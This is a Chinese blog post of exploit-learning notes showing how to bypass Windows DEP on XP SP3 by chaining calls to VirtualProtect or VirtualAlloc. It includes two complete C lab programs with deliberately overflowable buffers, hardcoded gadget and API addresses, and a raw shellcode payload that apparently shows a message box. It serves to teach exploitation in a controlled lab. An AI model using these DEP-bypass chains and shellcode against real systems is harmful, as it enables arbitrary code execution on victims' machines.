漏洞利用学习笔记-015-利用VirtualProtect和VirtualAlloc攻击DEP

Ret2Libc之利用VirtualProtect和VirtualAlloc攻击DEP攻击DEP

本文来源:Moeomu的博客

利用VirtualProtect攻击DEP

原理

利用VirtualProtect函数将栈页内存属性改为可执行

前置内容

  • VirtualProtect参数
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
BOOL VirtualProtect(
    LPVOID lpAddress,
    DWORD dwSize,
    DWORD flNewProtect,
    PDWORD lpflOldProtect
);

// 所以可以这样写
BOOL VirtualProtect(
    shellcode 所在内存空间起始地址,
    shellcode 大小,
    0x40,
    某个可写地址
);
  • 这里势必存在0,因此攻击函数换为memcpy

步骤

  • 修复EBP,这样调用函数的时候不会内存读取违规而异常
  • 填入VirtualProtect的地址,将会返回于此
  • 填入空的指令
  • 填入返回地址
  • 填入函数的参数
  • 填入shellcode本身

代码

模拟环境:系统:Windows XP SP3,DEP:Optout,编译器:VC6,编译选项:禁用优化,版本:release

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include<windows.h>

char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D" // push esp pop ebp ret `fix ebp`
"\xD4\x1A\x80\x7C" // VirtualProtect Address
"\x90\x90\x90\x90"
"\x8C\xFE\x12\x00" // ret Address
"\xB0\xFD\x12\x00" // Param Address: 0x0012FDB0
"\xFF\x00\x00\x00" // Param Size: 0x100
"\x40\x00\x00\x00" // Param NewProtect: 0x40
"\x00\x00\x3F\x00" // Param pOldProtect: 0x00910000
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" // payload
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6B\x61\x6F\x6F\x68\x4D\x69\x73\x61\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
;

void test()
{
    char str[176];
    memcpy(str, shellcode, 420);
}

int main()
{
    HINSTANCE hInst = LoadLibrary("shell32.dll");
    char temp[200];
    test();
    return 0;
}

利用VirtualAlloc攻击DEP

前置内容

  • VirtualAlloc参数
1
2
3
4
5
6
LPVOID WINAPI VirtualAlloc(
    __in_opt LPVOID lpAddress,
    __in SIZE_T dwSize,
    __in DWORD flAllocationType,
    __in DWORD flProtect
)
  • 参数说明
    • lpAddress,申请内存区域的地址,如果这个参数是NULL,系统将会决定分配内存区域的位置,并且按64KB向上取整
    • dwSize,申请内存区域的大小
    • flAllocationType,申请内存的类型
    • flProtect,申请内存的访问控制类型,如读、写、执行等权限。内存申请成功时函数返回申请内存的起始地址,申请失败时返回NULL

代码

模拟环境:系统:Windows XP SP3,DEP:Optout,编译器:VC6,编译选项:禁用优化,版本:release

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <windows.h>

char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D" // push esp pop ebp ret 4
"\xE1\x9A\x80\x7C" // Address of VirtualAlloc
"\x90\x90\x90\x90"
"\x70\x6F\xC1\x77" // VirtualAlloc ret address
"\x00\x00\x03\x00" // Param: lpAddress
"\xFF\x00\x00\x00" // Param: dwSize
"\x00\x10\x00\x00" // Param: flAllocationType
"\x40\x00\x00\x00" // Param: flProtect
"\x00\x00\x03\x00" // memcpy ret address
"\x00\x00\x03\x00" // Param: destin
"\x94\xFE\x13\x00" // Param: source
"\xFF\x00\x00\x00" // Param: n
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" // payload
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6B\x61\x6F\x6F\x68\x4D\x69\x73\x61\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
;

void test()
{
    char tt[176];
    memcpy(tt, shellcode, 450);
}

int main()
{
    HINSTANCE hInst = LoadLibrary("shell32.dll");
    char temp[200];
    test();
    return 0;
}

技术细节

  • 首先使用VirtualAlloc申请一段空间用于执行shellcode
  • 随后使用memcpy将shellcode复制过去
  • 最后在memcpy返回时直接返回到shellcode payload的起始地址
Built with Hugo
主题 StackJimmy 设计